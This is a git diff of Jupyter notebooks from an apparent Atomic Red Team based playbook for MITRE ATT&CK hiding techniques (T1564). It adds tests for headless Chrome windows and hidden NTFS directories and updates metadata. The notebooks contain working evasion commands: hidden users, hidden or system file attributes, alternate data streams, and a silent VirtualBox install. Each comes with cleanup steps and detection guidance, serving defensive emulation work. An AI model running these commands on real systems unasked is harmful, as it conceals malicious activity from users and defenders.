(e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: The file must exist on disk at specified location (#{file_to_modify})\n\n##### Check Prereq Commands:\n```powershell\nIF EXIST %temp%\\T1564.001-9.txt ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```powershell\necho system_Attrib_T1564.001-9 >> %temp%\\T1564.001-9.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "9e917ce5", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.001 -TestNumbers 9 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "5e2b6c59", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$file = Get-Item $env:temp\\T1564.001-9.txt -Force\n$file.attributes='Hidden'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "12e4bd13", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.001 -TestNumbers 9" + }, + { + "cell_type": "markdown", + "id": "ec138a66", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\ncmd /c 'del /A:H %temp%\\T1564.001-9.txt >nul 2>&1'\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6fa9e286", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.001 -TestNumbers 9 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "93244e7d", + "metadata": {}, + "source": "### Atomic Test #10 - Create Windows System File with powershell\nCreates a file and marks it as System through powershell. Upon execution, open File Epxplorer and enable View > Hidden Items. Then, open Properties > Details on the file\nand observe that the Attributes is \"S\" System.\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `command_prompt`!\n##### Description: The file must exist on disk at specified location (#{file_to_modify})\n\n##### Check Prereq Commands:\n```powershell\nIF EXIST %temp%\\T1564.001-10.txt ( EXIT 0 ) ELSE ( EXIT 1 )\n\n```\n##### Get Prereq Commands:\n```powershell\necho system_Attrib_T1564.001-10 >> %temp%\\T1564.001-10.txt\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "40a9079d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.001 -TestNumbers 10 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "ef9bf637", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\n$file = Get-Item $env:temp\\T1564.001-10.txt -Force\n$file.attributes='System'\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "ced0a2eb", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.001 -TestNumbers 10" + }, + { + "cell_type": "markdown", + "id": "b8396af9", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\ncmd /c 'del /A:H %temp%\\T1564.001-10.txt >nul 2>&1'\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "d889ab04", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.001 -TestNumbers 10 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "976582be", "metadata": {}, "source": "## Detection\nMonitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute." } @@ -289,13 +379,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.002.ipynb b/playbook/tactics/defense-evasion/T1564.002.ipynb index 16696cac..ea207479 100644 --- a/playbook/tactics/defense-evasion/T1564.002.ipynb +++ b/playbook/tactics/defense-evasion/T1564.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "ac3eb6f3", + "id": "799c67ec", "metadata": {}, "source": "# T1564.002 - Hidden Users\nAdversaries may use hidden users to hide the presence of user accounts they create or modify. Administrators may want to hide users when there are many user accounts on a given system or if they want to hide their administrative or other management accounts from other users. \n\nIn macOS, adversaries can create or modify a user to be hidden through manipulating plist files, folder attributes, and user attributes. To prevent a user from being shown on the login screen and in System Preferences, adversaries can set the userID to be under 500 and set the key value Hide500Users to TRUE in the /Library/Preferences/com.apple.loginwindow plist file.(Citation: Cybereason OSX Pirrit) Every user has a userID associated with it. When the Hide500Users key value is set to TRUE, users with a userID under 500 do not appear on the login screen and in System Preferences. Using the command line, adversaries can use the dscl utility to create hidden user accounts by setting the IsHidden attribute to 1. Adversaries can also hide a user\u2019s home folder by changing the chflags to hidden.(Citation: Apple Support Hide a User Account) \n\nAdversaries may similarly hide user accounts in Windows. Adversaries can set the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList Registry key value to 0 for a specific user to prevent that user from being listed on the logon screen.(Citation: FireEye SMOKEDHAM June 2021)(Citation: US-CERT TA18-074A)\n\nOn Linux systems, adversaries may hide user accounts from the login screen, also referred to as the greeter. The method an adversary may use depends on which Display Manager the distribution is currently using. For example, on an Ubuntu system using the GNOME Display Manger (GDM), accounts may be hidden from the greeter using the gsettings command (ex: sudo -u gdm gsettings set org.gnome.login-screen disable-user-list true).(Citation: Hide GDM User Accounts) Display Managers are not anchored to specific distributions and may be changed by a user or adversary." }, { "cell_type": "markdown", - "id": "c23710be", + "id": "66d5a2ef", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "b88dc189", + "id": "de15549c", "metadata": {}, "source": [ "### Atomic Test #1 - Create Hidden User using UniqueID < 500", @@ -28,28 +28,28 @@ { "cell_type": "code", "execution_count": null, - "id": "54091d28", + "id": "ba25349f", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.002 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "c12ab0c5", + "id": "37ca692c", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo dscl . -delete /Users/APT\n```" }, { "cell_type": "code", "execution_count": null, - "id": "e472985c", + "id": "c1460017", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.002 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "a02f7110", + "id": "018b5904", "metadata": {}, "source": [ "### Atomic Test #2 - Create Hidden User using IsHidden option", @@ -63,28 +63,28 @@ { "cell_type": "code", "execution_count": null, - "id": "ec2517d3", + "id": "352631d4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.002 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "348348ca", + "id": "31a082a2", "metadata": {}, "source": "#### Cleanup: \n```sh\nsudo dscl . -delete /Users/APT\n```" }, { "cell_type": "code", "execution_count": null, - "id": "a7266577", + "id": "2a6773d5", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.002 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "54cc412e", + "id": "fcc415ab", "metadata": {}, "source": [ "### Atomic Test #3 - Create Hidden User in Registry", @@ -98,28 +98,28 @@ { "cell_type": "code", "execution_count": null, - "id": "67e38814", + "id": "1c2e2398", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.002 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "763ee138", + "id": "6c6771b5", "metadata": {}, "source": "#### Cleanup: \n```cmd\nreg delete \"HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\Userlist\" /v AtomicOperator$ /f >nul 2>&1\nnet user ${user_name}$ /delete >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "edb1588b", + "id": "ec96476b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.002 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "3f29c60c", + "id": "385f149e", "metadata": {}, "source": "## Detection\nMonitor for users that may be hidden from the login screen but still present in additional artifacts of usage such as directories and authentication logs. \n\nMonitor processes and command-line events for actions that could be taken to add a new user and subsequently hide it from login screens. Monitor Registry events for modifications to the HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList key.\n\nIn macOS, monitor for commands, processes, and file activity in combination with a user that has a userID under 500.(Citation: Cybereason OSX Pirrit) Monitor for modifications to set the Hide500Users key value to TRUE in the /Library/Preferences/com.apple.loginwindow plist file. Monitor the command line for usage of the dscl . create command with the IsHidden attribute set to 1.(Citation: Apple Support Hide a User Account) " } @@ -127,13 +127,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.003.ipynb b/playbook/tactics/defense-evasion/T1564.003.ipynb index b9ac0035..5fbbe62f 100644 --- a/playbook/tactics/defense-evasion/T1564.003.ipynb +++ b/playbook/tactics/defense-evasion/T1564.003.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "d1d5e03a", + "id": "8faa122c", "metadata": {}, "source": "# T1564.003 - Hidden Window\nAdversaries may use hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. \n\nOn Windows, there are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1059/001), Jscript, and [Visual Basic](https://attack.mitre.org/techniques/T1059/005) to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\nSimilarly, on macOS the configurations for how applications run are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock.\n\nAdversaries may abuse these functionalities to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.(Citation: Antiquated Mac Malware)" }, { "cell_type": "markdown", - "id": "4670ab3a", + "id": "1a173231", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "9c39794d", + "id": "6071c741", "metadata": {}, "source": [ "### Atomic Test #1 - Hidden Window", @@ -27,14 +27,48 @@ { "cell_type": "code", "execution_count": null, - "id": "282fa52e", + "id": "d432e355", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.003 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "5585b0fc", + "id": "22ad4525", + "metadata": {}, + "source": [ + "### Atomic Test #2 - Headless Browser Accessing Mockbin", + "The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.\nThe default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.\nReference: https://cert.gov.ua/article/5702579\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nstart \"\" chrome --headless --disable-gpu https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "fc7d631a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.003 -TestNumbers 2" + }, + { + "cell_type": "markdown", + "id": "8ec6ea4b", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\ntaskkill /im chrome /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "c5b4a975", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.003 -TestNumbers 2 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d71f8e57", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments for actions indicative of hidden windows. In Windows, enable and configure event logging and PowerShell logging to check for the hidden window style. In MacOS, plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the apple.awt.UIElement or any other suspicious plist tag in plist files and flag them." } @@ -42,13 +76,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.004.ipynb b/playbook/tactics/defense-evasion/T1564.004.ipynb index 4aeff2ec..e880ab55 100644 --- a/playbook/tactics/defense-evasion/T1564.004.ipynb +++ b/playbook/tactics/defense-evasion/T1564.004.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c00b9630", + "id": "faef7db5", "metadata": {}, "source": "# T1564.004 - NTFS File Attributes\nAdversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)\n\nAdversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015)" }, { "cell_type": "markdown", - "id": "6c04bd75", + "id": "856014e7", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "041255dd", + "id": "ab47e6be", "metadata": {}, "source": [ "### Atomic Test #1 - Alternate Data Streams (ADS)", @@ -28,14 +28,14 @@ { "cell_type": "code", "execution_count": null, - "id": "b1cb2fd1", + "id": "65d846c8", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "d2c37d87", + "id": "0814f1d0", "metadata": {}, "source": [ "### Atomic Test #2 - Store file in Alternate Data Stream (ADS)", @@ -48,28 +48,28 @@ { "cell_type": "code", "execution_count": null, - "id": "c2308afe", + "id": "54dea4a4", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 2" }, { "cell_type": "markdown", - "id": "50ff90f4", + "id": "6bfbdb22", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item \"C:\\Users\\Public\\Libraries\\yanki\\desktop.ini\" -Force -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "7d6d7dd7", + "id": "1b8fedd0", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 2 -Cleanup" }, { "cell_type": "markdown", - "id": "b0849542", + "id": "a34b65ad", "metadata": {}, "source": [ "### Atomic Test #3 - Create ADS command prompt", @@ -82,42 +82,42 @@ { "cell_type": "code", "execution_count": null, - "id": "84d7e61c", + "id": "4853c3fd", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 3" }, { "cell_type": "markdown", - "id": "05bcda1c", + "id": "fa848f2c", "metadata": {}, "source": "#### Cleanup: \n```cmd\ndel %temp%\\T1564.004_has_ads_cmd.txt >nul 2>&1\n```" }, { "cell_type": "code", "execution_count": null, - "id": "22b7db3d", + "id": "be3f2609", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 3 -Cleanup" }, { "cell_type": "markdown", - "id": "0eed39e1", + "id": "39ec1c8a", "metadata": {}, "source": "### Atomic Test #4 - Create ADS PowerShell\nCreate an Alternate Data Stream with PowerShell. Write access is required. To verify execution, the the command \"ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname\"\nin the %temp% direcotry to view all files with hidden data streams. To view the data in the alternate data stream, run \"notepad.exe T1564.004_has_ads_powershell.txt:adstest.txt\" in the %temp% folder.\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: The file must exist on disk at specified location (#{file_name})\n\n##### Check Prereq Commands:\n```powershell\nif (Test-Path $env:TEMP\\T1564.004_has_ads_powershell.txt) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nNew-Item -Path $env:TEMP\\T1564.004_has_ads_powershell.txt | Out-Null\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "2c70646b", + "id": "7de5ea52", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 4 -GetPreReqs" }, { "cell_type": "markdown", - "id": "4f34ccfc", + "id": "dd35086f", "metadata": {}, "source": [ "#### Attack Commands: Run with `powershell`\n", @@ -127,28 +127,62 @@ { "cell_type": "code", "execution_count": null, - "id": "b0b8de05", + "id": "5e9cd4c7", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 4" }, { "cell_type": "markdown", - "id": "46039920", + "id": "9efb5f71", "metadata": {}, "source": "#### Cleanup: \n```powershell\nRemove-Item -Path $env:TEMP\\T1564.004_has_ads_powershell.txt -ErrorAction Ignore\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6f93331b", + "id": "7f1ded3b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.004 -TestNumbers 4 -Cleanup" }, { "cell_type": "markdown", - "id": "6124a167", + "id": "07626f20", + "metadata": {}, + "source": [ + "### Atomic Test #5 - Create Hidden Directory via $index_allocation", + "Create an Alternate Data Stream Directory and File with the command prompt. Write access is required. Upon execution, \nrun \"dir /A /Q /R\" in the %temp% folder to view that the alternate data stream folder exists. To view the data in the \nalternate data stream, run \"type %temp%\\...$.......::$index_allocation\\secrets.txt\"\n", + "**Supported Platforms:** windows", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nmd %temp%\\...$.......::$index_allocation\necho too many secrets > %temp%\\...$.......::$index_allocation\\secrets.txt\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "be649922", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.004 -TestNumbers 5" + }, + { + "cell_type": "markdown", + "id": "4646244c", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nrmdir /S /Q %temp%\\...$.......::$index_allocation >nul 2>&1\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "1eebb7e8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1564.004 -TestNumbers 5 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "1fc3cc34", "metadata": {}, "source": "## Detection\nForensic techniques exist to identify information stored in NTFS EA. (Citation: Journey into IR ZeroAccess NTFS EA) Monitor calls to the ZwSetEaFile and ZwQueryEaFile Windows API functions as well as binaries used to interact with EA, (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) and consider regularly scanning for the presence of modified information. (Citation: SpectorOps Host-Based Jul 2017)\n\nThere are many ways to create and interact with ADSs using Windows utilities. Monitor for operations (execution, copies, etc.) with file names that contain colons. This syntax (ex: file.ext:ads[.ext]) is commonly associated with ADSs. (Citation: Microsoft ADS Mar 2014) (Citation: Oddvar Moe ADS1 Jan 2018) (Citation: Oddvar Moe ADS2 Apr 2018) For a more exhaustive list of utilities that can be used to execute and create ADSs, see https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f.\n\nThe Streams tool of Sysinternals can be used to uncover files with ADSs. The dir /r command can also be used to display ADSs. (Citation: Symantec ADS May 2009) Many PowerShell commands (such as Get-Item, Set-Item, Remove-Item, and Get-ChildItem) can also accept a -stream parameter to interact with ADSs. (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014)" } @@ -156,13 +190,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.005.ipynb b/playbook/tactics/defense-evasion/T1564.005.ipynb index e992e90c..46f65643 100644 --- a/playbook/tactics/defense-evasion/T1564.005.ipynb +++ b/playbook/tactics/defense-evasion/T1564.005.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "3170b07a", + "id": "1cd09a9f", "metadata": {}, "source": "# T1564.005 - Hidden File System\nAdversaries may use a hidden file system to conceal malicious activity from users and security tools. File systems provide a structure to store and access data from physical storage. Typically, a user engages with a file system through applications that allow them to access files and directories, which are an abstraction from their physical location (ex: disk sector). Standard file systems include FAT, NTFS, ext4, and APFS. File systems can also contain other structures, such as the Volume Boot Record (VBR) and Master File Table (MFT) in NTFS.(Citation: MalwareTech VFS Nov 2014)\n\nAdversaries may use their own abstracted file system, separate from the standard file system present on the infected system. In doing so, adversaries can hide the presence of malicious components and file input/output from security tools. Hidden file systems, sometimes referred to as virtual file systems, can be implemented in numerous ways. One implementation would be to store a file system in reserved disk space unused by disk structures or standard file system partitions.(Citation: MalwareTech VFS Nov 2014)(Citation: FireEye Bootkits) Another implementation could be for an adversary to drop their own portable partition image as a file on top of the standard file system.(Citation: ESET ComRAT May 2020) Adversaries may also fragment files across the existing file system structure in non-standard ways.(Citation: Kaspersky Equation QA)" }, { "cell_type": "markdown", - "id": "07740a8a", + "id": "9c6bcd3b", "metadata": {}, "source": "## Atomic Tests:\nCurrently, no tests are available for this technique." }, { "cell_type": "markdown", - "id": "f5947ae0", + "id": "d9589a7c", "metadata": {}, "source": "## Detection\nDetecting the use of a hidden file system may be exceptionally difficult depending on the implementation. Emphasis may be placed on detecting related aspects of the adversary lifecycle, such as how malware interacts with the hidden file system or how a hidden file system is loaded. Consider looking for anomalous interactions with the Registry or with a particular file on disk. Likewise, if the hidden file system is loaded on boot from reserved disk space, consider shifting focus to detecting [Bootkit](https://attack.mitre.org/techniques/T1542/003) activity." } @@ -22,13 +22,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1564.006.ipynb b/playbook/tactics/defense-evasion/T1564.006.ipynb index 9feba9de..e935bb98 100644 --- a/playbook/tactics/defense-evasion/T1564.006.ipynb +++ b/playbook/tactics/defense-evasion/T1564.006.ipynb @@ -2,33 +2,33 @@ "cells": [ { "cell_type": "markdown", - "id": "8ef2e7a2", + "id": "a97b3b6a", "metadata": {}, "source": "# T1564.006 - Run Virtual Instance\nAdversaries may carry out malicious operations using a virtual instance to avoid detection. A wide variety of virtualization technologies exist that allow for the emulation of a computer or computing environment. By running malicious code inside of a virtual instance, adversaries can hide artifacts associated with their behavior from security tools that are unable to monitor activity inside the virtual instance. Additionally, depending on the virtual networking implementation (ex: bridged adapter), network traffic generated by the virtual instance can be difficult to trace back to the compromised host as the IP address and hostname might not match known values.(Citation: SingHealth Breach Jan 2019)\n\nAdversaries may utilize native support for virtualization (ex: Hyper-V) or drop the necessary files to run a virtual instance (ex: VirtualBox binaries). After running a virtual instance, adversaries may create a shared folder between the guest and host with permissions that enable the virtual instance to interact with the host file system.(Citation: Sophos Ragnar May 2020)" }, { "cell_type": "markdown", - "id": "352cc95b", + "id": "ccb393ad", "metadata": {}, "source": "## Atomic Tests" }, { "cell_type": "markdown", - "id": "2a3e63f1", + "id": "dda62346", "metadata": {}, - "source": "### Atomic Test #1 - Register Portable Virtualbox\nransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: MSI file must exist on disk at specified location (#{msi_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/Virtualbox_52.msi\" -OutFile \"PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi\"\n\n```\n##### Description: CAB file must exist on disk at specified location (#{cab_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path PathToAtomicsFolder\\T1564.006\\bin\\common.cab) {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path PathToAtomicsFolder\\T1564.006\\bin\\common.cab) -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/common.cab\" -OutFile \"PathToAtomicsFolder\\T1564.006\\bin\\common.cab\" \n\n```\n##### Description: Old version of Virtualbox must be installed\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nmsiexec /i PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi /qn\n\n```" + "source": "### Atomic Test #1 - Register Portable Virtualbox\nransomware payloads via virtual machines (VM). \n[Maze ransomware](https://threatpost.com/maze-ransomware-ragnar-locker-virtual-machine/159350/)\n\n**Supported Platforms:** windows\n#### Dependencies: Run with `powershell`!\n##### Description: MSI file must exist on disk at specified location (#{msi_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/Virtualbox_52.msi\" -OutFile \"PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi\"\n\n```\n##### Description: CAB file must exist on disk at specified location (#{cab_file_path})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"PathToAtomicsFolder\\T1564.006\\bin\\common.cab\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nNew-Item -Type Directory (split-path \"PathToAtomicsFolder\\T1564.006\\bin\\common.cab\") -ErrorAction ignore | Out-Null\nInvoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1564.006/bin/common.cab\" -OutFile \"PathToAtomicsFolder\\T1564.006\\bin\\common.cab\" \n\n```\n##### Description: Old version of Virtualbox must be installed\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\") {exit 0} else {exit 1}\n\n```\n##### Get Prereq Commands:\n```cmd\nmsiexec /i \"PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi\" /qn\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "761dc600", + "id": "b32389f2", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 1 -GetPreReqs" }, { "cell_type": "markdown", - "id": "b1a05a65", + "id": "4c11f5ec", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -38,42 +38,42 @@ { "cell_type": "code", "execution_count": null, - "id": "f84f9042", + "id": "f757de7b", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 1" }, { "cell_type": "markdown", - "id": "70d29350", + "id": "8d67886d", "metadata": {}, - "source": "#### Cleanup: \n```cmd\nsc stop VBoxDRV\nsc delete VBoxDRV\nregsvr32 /u /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nmsiexec /x PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi /qn\n```" + "source": "#### Cleanup: \n```cmd\nsc stop VBoxDRV\nsc delete VBoxDRV\nregsvr32 /u /S \"C:\\Program Files\\Oracle\\VirtualBox\\VboxC.dll\"\nmsiexec /x \"PathToAtomicsFolder\\T1564.006\\bin\\Virtualbox_52.msi\" /qn\n```" }, { "cell_type": "code", "execution_count": null, - "id": "04041b67", + "id": "32aedbe9", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1564.006 -TestNumbers 1 -Cleanup" }, { "cell_type": "markdown", - "id": "588900d7", + "id": "5fe26018", "metadata": {}, - "source": "### Atomic Test #2 - Create and start VirtualBox virtual machine\nCreate a simple VirtualBox VM and start up the machine\nCleanup command stops and deletes the newly created VM and associated files\nhttps://www.virtualbox.org/manual/ch08.html#vboxmanage-startvm\nhttps://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/\nhttps://attack.mitre.org/techniques/T1564/006/\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: VirtualBox must exist on disk at specified locations (#{virtualbox_exe})\n\n##### Check Prereq Commands:\n```cmd\nif (Test-Path \"C:\\Program Files\\Oracle\\VirtualBox\\VirtualBox.exe\") {exit 0} else {exit 